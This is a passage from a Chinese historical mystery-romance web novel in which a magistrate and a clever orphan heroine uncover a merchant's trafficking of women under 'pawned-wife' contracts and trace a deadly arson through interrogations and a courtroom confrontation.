维寻则将头低下,发誓什么都没有看见,随后如影便从他身后出来,双手抱着一个昏迷的女子。
赵疏玉微抬眼皮,看向如影手中的女子问道:“这就是周德的姐姐?”
维寻点头应道:“回姑娘,是。”
如影也道:“维寻方才已查明她的身世。她是明德十一年出生的,而今已年满20,尚无婚配。”
赵疏玉垂眸思忖一番后,又问道:“不出意外的话,绑走周玥的人就是刘世尧手底下的人?”
维寻点了点头,回道:“姑娘所言极是。属下奉县令之命暗中监视周家时看见有一个家丁打扮的小厮进屋和周家二人说了什么,随后周氏哭得昏天抢地,口中一直念叨‘玥玥,我的女儿啊’这句话。属下不敢有误,吩咐如影跟着家丁,而属下便回县衙禀报。”
“姑娘吩咐属下去找人,如影则跟着那家丁弯绕走进一个巷子,他们从里面拉扯绑缚着一个女子上了马车,往刘世尧城北的府邸驶去。”
“救下周玥后,属下仔细探查后得知周玥已失踪多年,连街坊邻居都忘了周家还有一个女儿。”
李惟初却在听完维寻的禀报后,不动声色地轻蹙了一下眉头,垂下眸,幽暗的眸色不禁深了深。
“行了。”李惟初最终下发施令,“先将她安置在县衙中,疏玉,你去把这个消息告诉周德,待周玥醒了让他们姐弟二人见一面。”
维寻和如影应答一声后便告退了,而赵疏玉紧紧蹙着眉头,脑中不知在想什么。
李惟初见她这一副紧缩眉头,愁容满面,竟也不知为何,他抬起手,两指抚在赵疏玉两团紧蹙的眉心上,轻柔地给她按了按,抚平她眉间的那点愁绪。
“在想什么?”他突兀地开口询问。
赵疏玉也不隐瞒,直道:“在想周德的话。”
“他说谎了?”
“不。”赵疏玉道,“他在避重就轻。”
“怎么说?”李惟初问道。
她将那只翡翠绿的耳环拿在手上,道:“我想问的是他为什么会有这只耳环,他却回答我这只耳环的主人和他之间有什么渊源。”
赵疏玉道:“而且他,他为什么会出现在火场里?难道是他想救婉华,没救成却扯下了她的耳环?”
李惟初仔细想了想,又问道:“那件在牛车底下发现的衣裳,你有给他看吗?”
赵疏玉摇摇头,她道:“本来是想将耳环的事情问完之后再问他衣裳的事情,可却突然收到周玥被抓走的事情,紧接着一切就都跑偏了。”
“那就去问。”李惟初转身离开这间狱房,向对面那间周德的狱房走去,他刚踏进里头一步,却忽然听到有人急吼吼地跑到他身边,对他耳语了了几句。
李惟初神色未变,只是很平常地道:“知道了,你先下去吧。”
空荡的死牢里,一切就连老鼠踩进水坑里的声音都能被听得一清二楚,就更别提压低说话的声音。
赵疏玉听到衙役禀报的内容,脸色却是有些不好,她道:“刘世尧接连来找,一直压着倒是会助长他的气焰,且对你的官声有损,不如……”
“官声有损?你倒是说说,损在何处呢?”
赵疏玉一顿,心中更是一翻白眼。
他就喜欢这样揣着明白装糊涂,再将问题抛给自己,让她来回答。
“刘世尧天天在外头大肆宣扬你包庇重罪犯,若非你余威尚在,怕是有人都要指着你的头骂你是被美色所误,包庇罪犯的‘昏官’,说不定还会往你的县衙门口扔鸡蛋菜叶子。”
“若被有心之人参奏上去……”
“美色所误?”李惟初仔细思索了一下这句话。
赵疏玉一愣,敢情她说了这么多,他唯一抓到的重点竟然是……他被自己美色所误吗?
“可是你并不美。”李惟初两眼坦然地低头看向她,罕见直率地答道。
赵疏玉,“……”
紧接着,他又“很有逻辑”地接着说道:“所以流言不攻自破。”
她默默在心底翻了个大大大的白眼,并问候了他的祖宗。
“我自不是什么倾国倾城的美人。县令大人,我们只是合作关系,你越界了。”赵疏玉虽说并不在意自己美不美,但也轮不到他来评价!
她狠狠撞了一下李惟初的肩,抬步走进了周德的狱房。
而在无人在意的小角落,县令大人勾了勾狡诈的唇角,眸中有细碎把她惹炸毛之后轻佻的快意。
他还从来没见过她生气的样子。
嗯……
骄纵却不失可爱。
甚美。
而在他抬步走进狱房下一刻,他便又绷起嘴角,眸中的挑逗一瞬间变得冰冷无波。
李惟初从大袖中拿出被火烧了的衣裳,扔在周德脚前,沉冷地看着他,道:“你进过火场?”
周德一愣,他猛地抬头看向李惟初身后的赵疏玉,而后敛下眸,乖巧答道:“是。”
“理由。”
周德没有任何一丝挣扎,很乖顺地将理由说出。
赵疏玉在一旁看见这么丝滑无阻的对话,心中不免升起不悦闷闷的堵塞感。
怎么她问周德就没这么乖?没这么顺畅?
怎么李惟初一来他就乖得跟小羊羔似的?
说到底,还是自己的威信不足,不足以震慑罪犯,还要被罪犯言语攻击。
她轻叹一声。
“……我只是想救婉华姐姐。”
李惟初听着这番话,不禁危险地眯了眯眼睛,看见他小动作不断,眼珠子乱窜的眼睛和一双无处安放紧张扣着的手指,他便可断定,周德对自己还有隐瞒。
他冷哼一声,这一声无疑如一块寒冰重重敲在周德的心脏之上,他内心猛地一沉,头立马趴下去,低得更低。
赵疏玉看了一眼头快要贴到地面上去的周德,她眸底划过一丝了然。
开口提醒他道:“李县令可不像我,我手段优柔寡断,可李县令是最铁面无私,你若敢对他有隐瞒……呵呵。”
最后她并没有说出具体的惩罚手段,是为了留有余白,让他自我攻破心理防线,最终全部都乖乖交代出来。
周德趴在地上,到抽一口凉气后低低答了一声,“是。”
李惟初端坐着呷了一口茶,沉声开口道:“本官最后问你一遍,你为什么要进火场。”
周德紧紧握着拳,忽而,他像是下定了决心,抬起头与赵疏玉直直对视。
“我姐姐她……”
“你放心。”赵疏玉垂眸,这世界上她最不懂的就是亲情血缘。
她不明白,为什么,为什么周德会这么在意她的姐姐?
为什么呢?……姐姐,很重要吗?
为什么这么重要?是因为亲人吗?
可什么是亲人?
在这三个字落地后,像是给周德一剂定心丸,他的眼神逐渐从游移不定变得坚定无比。
他朝赵疏玉重重磕了一个头,以表他深沉的感激。
但她却轻皱了一下眉,伸手指了指李惟初的方向,道:“是李惟初同意我让维寻去救你的姐姐,你应该谢他。”
周德一愣,他直起头快速看了一眼李惟初,刚想再弯腰磕头时,李惟初却一把制止了他。
“本官不需要你的虚礼……”
可他话还没说完,周德便立刻接道:“县令大人,赵姑娘,我知道你们需要什么……对面的话,我都听到了。”
说完,他一骨碌把自己右脚的鞋给脱了下来。
在二人震惊疑惑的目光中,他就这么光明正大地从鞋里面掏出一沓纸。
只是周德被关进来后已经不知道有几天没有洗过澡,纸张被熏得又脏又臭。<
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p>赵疏玉弯腰正准备将纸从周德手里接过时,李惟初却不知从哪里冒出,先一步将那沓纸拿在手里。
她抬眼瞧去,李惟初拿着纸张的手似乎在隐隐颤抖,面容也有一瞬间的扭曲,可瞬间便都又消失得无影无踪,依旧如往日那般冰山不可触碰。
他一张张翻着这沓纸,赵疏玉踮起脚尖往翻阅的纸张上看去,李惟初侧眸看了她勾着脖子很是艰难的样子,手不知是不是有意放低,赵疏玉渐渐地不需要再踮起脚尖。
“张瑶,李苓,戴玉凤,陆紫妍……”她一张张看着这些纸上的名字,一眼眼看着每张纸左边用朱笔大大地勾勒出“典妻契”这三个字。
她越看到后面,便越不可思议。
“你姐姐,是未婚,且也在这其中吗?”但这里面只有二十七份文契,并没有周玥的。
周德向赵疏玉磕了一个头,他道:“对不起,疏玉姑娘,是我欺骗了你。”
“我那天看见有人放火,但我并没有声张,我想在火势还不大但众人慌乱的时候进到书房把我姐姐的典妻契给偷出来,但是那个装有我姐姐文契的木盒都被虎鸣拿走了。”
“我骗你我并不知道姐姐为什么会被藏起来,是因为我姐姐将来还要嫁人……如果一旦被别人知道我姐姐她曾经……就不会有人要她了。”
“尚未婚配的女子,怎么能做典妻?”赵疏玉虽不知道什么叫做“典妻。”
但她知道“典当首饰”的意思——家中实在没钱用了,只能把值钱的东西给拿到铺子里典当换钱度日。
而典妻,那不就是将妻子当做物品典当给别人用来换钱?
可她姐姐清清白白的一个黄花大闺女,怎么就被“典妻”了?
“正是如此。”周德红了眼眶,泪水在眼眶中打转,他死死咬着下唇,下唇隐隐发白。
他不知是气得还是憋得,浑身发抖,哽咽道:“他们毁了我爹爹的仕途,骗我爹爹欠下滔天的赌债,下药弄瞎了爹爹的眼睛让他再也不能看书,也不能替人抄书糊口……他们毁了我的爹爹,还想毁了我姐姐……我恨,我恨他们!”
“你既那么恨他,当初又为什么要跟刘世尧一起来只认我是纵火凶手?”
“我没有办法!!”周德几乎是吼着出声,他整个人焉了下去,“我被刘世尧威胁,他说他找到了我姐姐藏匿的地方,如果我不帮他,他就按照文契把我姐姐典给‘大人’,让我一辈子都见不到姐姐,我害怕,我真的害怕……这一整个家里,我最不能再失去姐姐了。”
赵疏玉则敏锐地发现他话中的漏出来的玄机。
她疑惑地歪了歪脑袋,当即便又问他问道:“大人?什么大人?”
而李惟初却在此时突然开口,打断了他们的话,“这里面没有你姐姐的文契。”
“当然。”周德一直压在他心头的那块石头被他亲手扔进火场中,化为灰烬,他恍然轻松道,“我从虎鸣的手里抢过木盒,将那里面所有的文契都取了出来,随便替换了。”
他顿了顿,看向赵疏玉说道:“我本来想把姐姐的文契扔进火场,可就在这个时候,你来了。我害怕暴露便走小门逃出。”
“你既能逃出,那为何那些女子们……”
“她们为什么要活下来?”周德反问道,“活下来等着继续像玩意一样被刘世尧那个禽兽送去讨好大人们吗?”
“她们逃不出去,永远都逃不出去,她们在那处宅子里求生不得求死不能。如今这一把火烧死她们不好吗?
“死,是她们最好的出路。”
赵疏玉在听得她这番话时,脑海中莫名便浮起沈怀夕自杀前曾疯疯癫癫说的那一句话。
[我永远都出不去,他为什么要这么对我……]
一开始,赵疏玉觉得她这话是对她口中的“安郎”说的。
如今看来……
她这一番话究竟是对安陵,还是对刘世尧呢?
细思极恐。
18. 赵疏玉的诡辩
正当赵疏玉还欲再问什么,只见如影不知什么时候走到李惟初身边,先是行了个礼,随后起身附在他耳边说了什么。
李惟初低低回了一声,“知道了,赵疏……”
转头却直直对上她的目光。
赵疏玉的目光中隐匿着极淡的紧张与质问,似乎在等他说一句否定的话,她就会立刻出声反驳。
李惟初别过眼,与她灼热的视线交错。
他抬步走出狱门,低沉的声音回荡在空荡的牢狱之中,“这既是你惹出来的祸事,自由你去解决。”
赵疏玉松了口气,她回头望了一眼跪在地上的周德,掩下眸中复杂的神色,跟在李惟初身后。
二人一路长驱从狱中出来,李惟初转道则去更衣官服以备堂审,赵疏玉则先行一步入堂。
在她步入厅堂的那一刻,赵疏玉明显感受到一股阴毒犹如蛇蝎一般的目光紧紧包裹着她的全身,似阴沟里蛰伏的毒蛇,阴恻恻地盯着她的脖子,张开剧毒的獠牙,伺机给予致命一击。
而赵疏玉则是冷漠地看着他。
平静的眸光里甚至没有一丝动摇,而看向他的目光中夹杂着一丝轻蔑与厌恶。
还未等她开口,刘世尧抢先开口打破二人之间的宁静。
“我还真没看出来,你虽称不上国色,却也能得李县令的青睐庇护,想必你的床上功夫了得,嗯?”说着,轻佻肮脏的眸光奸/恶地上下扫视赵疏玉。
平坦的胸脯,瘦小的身材,一副营养不良的模样。
一双水灵灵的大眼睛在瘦削的瓜子脸上凸起,一张小脸干瘪苍白,但眼神中熠熠闪耀的光却极具精神气。
她不算个倾国倾城的美人,但她身上的那股韧劲却是如何都泯灭不去。
赵疏玉却并不在乎他的“有色攻击”。
这种一辈子都用下半身思考的动物,是没有资格以人类的思维去评判的。
与其和他争辩,不如直接往他脸上吐口痰来得更实际一点。
她冷哼一声,道:“刘坊主如今自身不保,还有闲情雅致调侃?倒真是‘临危不惧’啊。”
刘世尧却一脸无所谓,他道:“你以为抓了我的人证,我就没有其他办法了吗?”
他哼笑一声,道,“你们这案子拖得时间越长,于我,越是有利。”
“我只要一口钉死你纵火犯的身份。只要你找不出证据来证明你自己,李县令为了包庇你就会将案子拖得越久,等案子成了悬案,失了民心,有心之人再往朝廷参他一个为官治理不善的罪名。你猜,他是保仕途,还是你呢?”
说到最后,他眯了眯眼,饶有兴味地盯着赵疏玉的脸蛋看。
这女子,长得虽一脸营养不良的样子,但若悉心养养,倒也不必京城里的花魁差。
大人们最喜欢的就是这样的货色。
而赵疏玉却抓住他语句中的逻辑问题,反问道:“你怎么证明我就是纵火犯呢?”
“你若没有证据证明,那就是恶意污蔑,蓄意诽谤我,就算是闹到外头人尽皆知,你也未必占理。”
“且我与刘坊主可素来无恩无怨,烧你宅子做什么?要你金银财物吗?可那一大宅子里除了女子之外,金银更是一点没见着。你与其说我恶意行凶,不如说我是爱而不得,因爱生恨才一把火烧了你家大宅。”
“你!”刘世尧瞧见她这副牙尖嘴利的模样,恶狠狠地瞪着她,指着她,音调拔高道:“你这是强词夺理!”
“我强词夺理?”赵疏玉据理力争,头脑清醒地与他争辩道。
“这断案哪有你想是什么就是什么这么简单?若人人以为先发制人的有理,那还要每州一州牧,每县一县令干什么?反正理都在你们原告手里,被告就该被斩首下大狱,那按你们说什么就是什么不就好了?既然如此,朝廷又何必每三年选拔一次人才?”
“肃静!”
刘世尧被这一番话怼得哑口无言,正恼羞成怒抬起手欲狠狠扇她一巴掌,可还没碰到赵疏玉的一根头发丝,刘世尧直接被赵疏玉一脚踢得飞起,一骨碌撞在柱子上,狠狠摔下来。
刘世尧口角出血,他捂着胸口,怨毒地看着赵疏玉。
“你会为你的行为付出代价的。”
“那就放马过来。”赵疏玉嘴角扯出一丝不屑的笑容,“我等着。”
“肃静!!”
李惟初换上一身浅绿色官服,步入正座时,便看得这一场好戏。
如影连道两次肃静,二人方才有所收敛。
赵疏玉对趴在地上的刘世尧不屑一顾,俯视着嘲弄了他一眼,优雅转身走到一侧,立于堂上大方抬头迎向李惟初的目光。
刘世尧被她踹得浑身疼痛,捂着胸口喘着粗气,转而眼眸一转,他立马转向李惟初,求他给自己做主。
“县令大人!此女当堂行凶,罪无可恕!恳请县令大人,为贱民做主啊!!”
说得一番赤忱真挚,掏心掏肺,披肝沥胆,可李惟初只是默默伸手拍了两下惊堂木。
“肃静。”他低沉的声音在大堂之上传入刘世尧的耳朵里,随意但压迫感却是满满。
此言一出,站立堂中的两排官差捯饬着棍子,在地上有节奏和规律的敲打着,口中低低沉沉念叨着“威……武……”
气势十足,威压十足,刘世尧乖乖闭上了嘴。
“赵疏玉,为何堂下行凶?”李惟初的眸中凝气一团隐晦。
他低着头高高在上地看着她,而她不卑不亢站在台下,沉静地迎上李惟初危险的目光,一字一句答道:“如今证据不足,罪名尚未定论,刘世尧张口就说我是纵火犯,且对我言语侮辱,眼神肮脏,就是为了激我与他相争!”
“且他见我第一面便恶意诽谤县令贪恋美色,包庇重罪犯,其居心不良,目的不纯,以下犯上。民女为护县令清誉官声,宁可舍弃自身也不可容得小人肆意栽赃攀诬县令!”
这一番话说得义正言辞,大义凛然。
不知情的人必闻之慷慨,惹人潸然泪下。
此番话不禁惊呆了刘世尧,惊呆了堂上在场的所有人,连一侧的如影都不禁瞠目结舌。
这是认罪,可他还从来没见过有谁能把罪认得五花八门,认得斗志昂扬,认得浩然正气!
赵疏玉这一番话说得实在是高明。
从始至终不提一句自己无错,却处处彰显着无错。
他咂舌攒眉,忍无可忍地暗暗在心里给她竖起一个大大的拇指!
他是真服了。
而连紧绷着冷漠神色的李惟初眼神中都不免漏出一丝无奈的笑意来。
“这么说,你踹他,不仅无罪,还有功?连本官都应该向你鞠躬揖礼致谢,谢你帮本官抱住了一世清名?”
“县令英明。”赵疏玉冷酷的脸上说出一番与她神色格格不入的恭维之语来。
但却莫名和谐。
连刘世尧都一瞬间不知道该怎么去辩驳,以致他愣在原地多时,瞪大了眼睛震惊地看向赵疏玉。
赵疏玉淡淡地随意扔给他一个冷漠挑衅的眼神。
她是有错,可这样的错是基于奉献大义,是为了保全县令官声,保住县衙的名声。
孰轻孰重,难道李惟初还想不明白吗?
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>李惟初自然是选择无视此事,而刘世尧又想不出其他可以辩驳的点来,只得放弃。
并且照这种形式看来,他若再说出些什么话来,恐怕错得更多,更大,一搞不好,倒被这小娘们给坑进牢狱里头去了!
刘世尧恨恨地盯看了她一眼,连忙扯到今天的主题上。
他拿忙从胸口里拿出一块方帕,重新昂起头来,精神抖擞道:“这是火灾现场凶手落下的一条帕子,赵姑娘,你可还认得?”
赵疏玉随意瞥了一眼那条手帕,连眼皮都不想抬一下。
她是现代人,怎么可能会古代人的刺绣?
这手帕想也不想肯定不是她的。
她一挑眉,道:“这么巧?我手里也有一块凶手的帕子。”
刘世尧眉头一皱,心下暗道:‘不好,难不成是周德那臭小子把这件事告诉赵疏玉了?’
这样一想,他眸中的狠戾就有又多几分。
“县令。”赵疏玉拿出那块方帕,道,“这两条帕子之间必有一假,不如就请县令一辩真假好还民女一个清白。”
李惟初微一抬手,立刻便有两名官差将两条帕子呈上去。
他给了如影一个眼神,他立刻会意,端着呈上的物证转身离去查验。
此时,赵疏玉又说道:“县令,我从小无父无母是个孤女,刺绣这种需要时间和耐心日夜的东西,民女可是从来都没看见过,更别提刺出一件像样的绣品。”
她顿了顿,再道:“一个连温饱吃穿都成问题,四处流浪的孤女,还会有闲情雅致学习刺绣吗?”
一番问题问下,刘世尧反驳道:“你不会刺绣,可不代表你身边的人不会,说不定是你拿了别人的手帕,为摆脱罪名还要栽赃陷害她!你如此恶毒,怎……”
“刘坊主这番话说得真是令人发笑。”赵疏玉冷笑一声,在刘世尧愠怒和疑惑的目光中,她继续道来。
“我被县令收留县衙,可彰显县令之善心大义,我若恩将仇报,偷盗她人手帕栽赃陷害,不管凶手最后是不是我,县令都会受连累。”赵疏玉反问道,“自县令赴任至今,可有半点对你不好吗?”
刘世尧一愣,他谨慎道:“当然没有!县令大人……”
赵疏玉不给他说下去的机会,再问他:“既然县令并无对你不好,你又为何要如此大费周章来陷害县令?可是有人指使吗?”
刘世尧一愣,他猛然意识到自己是在被这小娘们牵着鼻子走,明明刚才还在说手帕指认凶手的事,怎么就会扯到陷害县令上去了?
她倒是惯会偷换概念,误人视听!
“你!”刘世尧指着她的脸,怒斥道,“你以为凭借你巧言善辩,误人视听,县令和江南所有的百姓就会信你吗?纵使县令信,那如何堵得住天下悠悠之口?”
“天下人没你这么闲,天天打听县衙的事。”赵疏玉明眸善睐,直接不再理会他,对李惟初道,“县令,方才民女交给县令的手帕正是县衙春禧的贴身之物,我请求彻查春禧的房屋,看看是否有当日纵火行凶之物!”
她义正言辞地看向李惟初,眸中似有一丝极淡被她克制住,胜券在握的喜悦。
在所有结果尚未出来之前,她不会将任何喜悦的情绪摆在脸上。
而看着她眼里的坚定,李惟初点了点头,声音清冷,犹如雪山化水那般彻骨冰寒,他道:“准。”
刘世尧侧眸看见赵疏玉身子笔挺地站在那里,小小的人儿里似乎凝聚着强大永不溃散的能量。
坚定、不惧,更多一丝从容。
她到底想要做什么。
刘世尧不禁皱眉。
19. 纵火犯幕后之人初显
“县令,属下在春禧的房里找到了这个。”
两名官差将搜来的东西双手呈上。
李惟初往他的手里看了一眼,不动声色地蹙了一下眉头,“燧石?”
赵疏玉点头道:“正是。”
她看了一眼刘世尧,从袖口中拿出那日重回火场找到的证据。
袋子的底部盛着油,而附着在油上的是那日稀奇的白粉。
“我在墙角还发现了这两样东西。”
赵疏玉将袋子里的东西举在手里,看向刘世尧问道,“想必这袋子中的白粉,刘坊主应当是熟悉得很?”
刘世尧脸色一变,立马梗着脖子反驳道:“什么白粉!什么东西?我什么都不知道!”
赵疏玉没指望他会承认,毕竟,哪有罪犯承认自己有罪的呢?
“如果不出意外,这袋子里的白粉,是白磷。”
赵疏玉平静地将袋子递给一旁的官差,而官差则呈上交由李惟初查看。
此言一出,满座寂然。
她平静地接着说道:“白磷和燧石,再加贴着墙根撒上的油,四面墙迅速起火塌陷,火势迅猛不可挡,里面的人被活活烧死。”
“是吗?”她再次看向刘世尧,眸中划过恨意,“火烧大宅,困住二十七个女子不让她们逃离,看似是春禧所做,实际,是你,是你安排他们去做的,是不是?”
对上赵疏玉的目光,他冷哼一声,毫无所谓地看着赵疏玉道:“赵姑娘慎言。草民一介商人,怎敢指使县令府上的奴才,姑娘可是想置刘某于万劫不复之地吗?”
赵疏玉手指微微动了一下,她看向座上的李惟初道:“你有没有指使,只需要把他们押入堂来和你对峙不就可以了吗?”
“况且春禧一介奴才,为什么房中会藏有燧石?燧石又是谁从何处购买,由谁交给春禧,抓住这个人,那么一切尽可大白。”赵疏玉顿了顿,她眸中划过一丝戏谑,看向刘世尧道,“你说是吗?刘坊主。”
刘世尧听她这么说,铁青着脸色,咬牙切齿道:“姑娘所言不虚。”
“这样一来,刘坊主与我的嫌疑尽可清了。”
说罢,她将目光转向坐在上首的男人。
李惟初轻点点头,吩咐一旁的官差道:“即刻去查。”
“是。”
几人领命下去后,如影出现。
他端着两块帕子走至李惟初身边,行了个礼后,对李惟初耳语几句。
李惟初的目光在赵疏玉与刘世尧的身上游转一番后,他挥了挥手,如影退了下去。
他阴沉着一张脸,将刘世尧呈上的帕子狠狠掀到地上,好巧不巧这帕子落在离他只有尺寸之地前。
“刘世尧,你好大的胆子,竟敢拿一条伪造的帕子蒙骗本官,干扰本官办案!”
刘世尧脸色一白,他要是知道周德竟然连帕子的事情都告诉了赵疏玉,绝不会出此下策。
这臭小子竟敢骗他!
等着瞧!
他心中恨得牙痒痒,脸上却是一副示弱求饶之态。
“县令恕罪,贱民识人不清,以为这帕子是赵姑娘遗落在火灾现场的。”
李惟初大手一挥,霎时间有两个官差上前将刘世尧架起来,他的神色锐利而深邃地看着他,冷冰冰下令:“刘世尧伪造罪证,恶意攀诬,意欲混淆视听,妨碍公务,依大吴律着二十大板,即刻行刑。”
他迅速从签筒中抽出一支令签,往地上掷去。
掷地有声,铿锵有力,刘世尧自知早已没了辩白的余地,耷拉着脑袋任由官差拖出去。
一块块的板子落下,惨叫声不绝于耳。
打完了刘世尧,李惟初目光森然,看向他的目光犹如深不见底的寒潭,遥遥望去,令人不寒而栗。
“把他扔出府衙,昭示江南百姓,若日后谁还敢伪造罪证妨碍本官办案,以儆效尤。”
“是。”
料理完刘世尧,李惟初宣告下堂。
他屏退众人,从上座一步步走下来,走到赵疏玉面前。
李惟初面无表情地看着赵疏玉,面色不算太好。
而她抬头对上他那双紧紧盯着她看,好似能看透一切锐利的鹰眼。
可还没等他开口询问,赵疏玉直接招了。
“你是想问我燧石,手帕,白磷和油的事情,是吗?”
他冷冷地吐出这几个字,“明知故问,罪加一等。”
赵疏玉却是莞尔一笑,她将双手伸在半空,双眸含水看着他。
“罪犯就在这儿,那么……悉听尊便?”
对上她那双犹如狐狸一般狡黠的目光,李惟初不轻不重地拍了一下她的手背。
一次又一次地试探他的底线,她这么聪慧,怎探不得他其实就是一只披着狼皮的羊而已。
看似锋芒毕露,实际……
他看着她这么瘦削的小脸,明明碧玉年华,可长得还没同龄人一半丰润。
明明还有那么多问题想问她,可万言汇到嘴边,却只说了一句,“你太瘦了。”
赵疏玉没想到他会突然蹦出这一句话来,他每每在脑中都会想些什么,她还真是无法窥视。
“姑娘,赵姑娘……”门外传来锦夏细若蚊蝇的声音。
赵疏玉回头循着这道声音望去。
锦夏依旧苍白着脸,但脸上的悲恸与心中的伤痛似乎比外伤更严重些。
赵疏玉走到她面前,扶住她摇摇欲坠的身子,问道:“不是让你回去休息吗?”
锦夏紧紧抿着唇嘴角向下,十分苦涩地摇摇头,握住赵疏玉的手更紧了紧,眨眼间她潸然泪下,闪着湿漉漉的大眼睛看着她道:“我怕,我怕你会有危险,我必得,必得跟来看看,我才放心。”
赵疏玉一顿,她心中不禁一动,一股莫名地情绪流过她的心田,不解和疑惑骤然升起,莫名地,被锦夏紧紧握着的手不禁一颤,下意识的,她就很想抽回手。
“……我没事。”半晌,她回了一句。
她选择性将方才那股很奇怪的情感遗忘。
锦夏松开她的手,扑到李惟初的脚边,哭着问他道:“春禧,她会不会被处以死刑?”
闻言,李惟初只是眯了眯双眸,问道:“看来,你对她的罪行很清楚?”
在李惟初凝视的目光威压下,锦夏连忙低下头呜咽地小声抽泣,很是畏惧的样子。
“你还知道什么。”李惟初冷冰冰地问道,丝毫不拖泥带水,“说。”
锦夏吓得一抖,死死咬着下唇。
下唇被她咬得发白,甚至比她煞白的脸色还要更惨白一些。
赵疏玉慢步走到锦夏身边,道:“燧石的事情,是锦夏告诉我的。”
她一提到这件事,锦夏实在忍不住又呜呜哭了起来。
她怕吵到李惟初和赵疏玉,硬生生憋着,单薄的双肩不停地抖动。
“春禧纵火后,将这块燧石塞到锦夏床下,想让她帮自己顶罪,却先一步被锦夏发现了,她还想替春禧隐瞒遮掩。”赵疏玉冷哼一声,低头看了一眼对地上的锦夏,继续道,“春禧这是想死也要拉个垫背的……”
她顿了顿,有些更难听的话她还没说,怕再刺激到锦夏,于是噤声不说了。
赵疏玉看向李惟初,淡定自如道:“她怕纵火一事会使我陷入自证危机,于是在你去更衣,我登堂之前,她急匆匆将这件事跑过来告诉我。”
“所以你让锦夏把燧石放进春禧的屋子里?”李惟
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初问道。
赵疏玉却不认为自己有错,她不畏缩地抬眼对上李惟初那双深渊般浓墨的眸中,“她自食恶果,咎由自取,我只是让锦夏物归原主。有何错?”
沉默半晌,李惟初挥退锦夏,一室之中独留下二人。
他盯着她那双固执却始终清明的双眼,语气莫名地喊了她的名字,“赵疏玉。”
赵疏玉应道:“是。”
他抬步向前走去,与她擦肩而过时,轻声道:“该用晚膳了。”
言罢,他再不做任何停留,大步流星地离去。
他什么都没有说。
什么都没有问。
他既没有否,也没有肯。
他只是看着赵疏玉瘦削的小脸。
很平淡,却也很家常地说了一句。
该吃饭了。
回屋之后,锦夏苍白着脸坐在茶凳上时不时咳嗽几声。
见赵疏玉紧拧着眉头回屋,她立马站起身,迎向她道:“姑娘,你,你有没有事?”
赵疏玉摇摇头,在看到锦夏白净的小脸那一刻,她紧皱的眉头有一丝松动。
锦夏扶着赵疏玉坐下,圆桌上是李惟初差人送来的晚膳。
正要服侍她时,赵疏玉却摇了摇头,她指了指对面的座位,道:“你也坐下吃。”
“奴婢不敢。”锦夏连忙摆了摆手,有些慌乱地摇头。
“我不是个在乎俗礼的人。”赵疏玉又说了一句。
在赵疏玉强硬的态度下,锦夏慢吞吞地移到位置上坐了下来。
待她入座后,赵疏玉拣了一个猪肘。
锦夏一开始吃着还有些拘谨,因为赵疏玉吃饭的时候竟然一句话都没有说。
她转了转眼珠,轻咳一声,道:“县衙里的小厨房做的红烧猪肘可是最好吃的,还有珍珠鱼汤,味鲜,一点都没有鱼汤的腥味呢。”
见赵疏玉的眉心微动,锦夏笑道:“我给姑娘盛一碗。”
在锦夏盛汤的时候,赵疏玉放下碗筷,很认真地看着她,道:“不管这件案子最后的结果是什么,窦扬和春禧是一定会判死刑的……尤其是春禧,如今纵火犯的罪名她已经坐实,火烧二十七条人命,她难辞其咎。”
握着汤勺的手一顿,锦夏的呼吸紧随一窒,随后又恢复平常,盛好鱼汤后,放到赵疏玉的碗旁。
她敛下神色,道:“若非姑娘当日愿意帮我,恐怕我已成了被县令杖毙的第八个人,如此大恩,我只愿用一生来报。”
她紧紧垂着头,眼泪直直垂落,滚烫的泪珠落在膝上的手心里。
她轻轻深吸一口气,哽咽道:“我现在只想姑娘能够……好好的。锦夏此生,别无他求。”
说着,她又抽了一下鼻子,抱歉道:“抱歉姑娘,我太爱哭了,我以后会努力改掉的。”
对面的赵疏玉自始至终低着头,一口又一口地舀着鱼汤下肚,她手上的动作随着锦夏的话逐渐加快。
在她说完这几句话后,满满的一碗温热鲜美鱼汤已经见底。
“嗯。”
她淡淡地嗯了一声。
“待查出给春禧燧石的背后之人,这场纵火案便可告一段落了。”
锦夏双手紧紧扭拧了几下,随后抬起头,对上赵疏玉那双淡漠沉静的眸子。
脸上的泪痕早已淡去,她对赵疏玉道:“赵姐姐,我可以这么叫你吗?”
“可以。”她淡淡地回道。
“谢谢。”锦夏笑了一下,随后她长舒一口气,定定地看向赵疏玉道:“我知道关于这背后之人的线索。”
赵疏玉猛然抬起头,对上她一双坚定,留有泪光楚楚可怜的眼睛。
“是谁?”
她沉声问道。
20. 真相呼之欲出
锦夏鼓足了勇气,她深吸一口气对赵疏玉道:“赵姐姐,那日在花园角门后面,我听到窦扬和春禧姐姐两人似乎在吵架,春禧姐姐一言不发,从他手里接过燧石后就离开了。”
“赵姐姐,依我看不如好好审问窦扬?”
赵疏玉垂眸紧拧着眉头思索了一番,她道:“不,还是先从春禧问起。”
“窦扬之罪无可饶恕,他大概率是破罐子破摔,未必肯说出实情,但是春禧与你素日颇有交情,你若问她,或许她会愿意告诉你呢?”
锦夏闻言,眼睛亮晶晶,似乎里面充满了期待与激动。
赵姐姐这是信任我吗?
她竟然将这么重要审问的任务交给我。
好荣幸,好荣幸啊啊啊!!
赵疏玉并不知道她心里的想法,只觉得她这样盯着自己。
她还蛮不好意思的……
赵疏玉清了清嗓子,咳了两声,严肃地喊了一声她的名字:“锦夏?”
锦夏忽然从座位上滑到地上,绷直了双手交叉在地向她重重磕了一个头,激动溢于言表,“是,定不负赵姐姐所托!”
赵疏玉却平静地将她扶起身,轻启朱唇,缓缓道:“以后在我面前,不用再行这样的大礼,知道吗?”
锦夏紧紧抿着唇,可眼眶中陡然间又蓄满一颗晶莹剔透圆滚滚的泪珠,浓密的下眼睫晃晃悠悠地兜住这颗泪珠。
“不许哭。”
赵疏玉颇有些无奈道。
——牢狱。
她拿着李惟初给她的令牌,对着看守春禧和窦扬的官差示意了一下。
他们即刻打开身后的狱门,对赵疏玉道:“姑娘请进。”
她抬手淡淡指了一下缩在最里面的窦扬,吩咐道:“别让他挡在这里碍事。”
身旁两个官差却忽然跪下,口中双双喊道:“县令。”
刚一转身,赵疏玉的鼻骨不小心撞在他硬邦邦的胸膛上,她忙往后退了一步,揉了揉鼻子,她不悦地皱了下眉,“突然从别人背后出现,你是鬼吗?”
“真是放肆。”身后的李惟初从鼻腔中传出一阵轻笑。
他挥了一下袖袍,对那两个官差示意,“按赵姑娘说的去做。”
他又饶有兴趣地将目光低垂,去捕捉赵疏玉眸中藏匿的秘密。
“为什么让锦夏去问春禧?从窦扬下手不更好吗?”
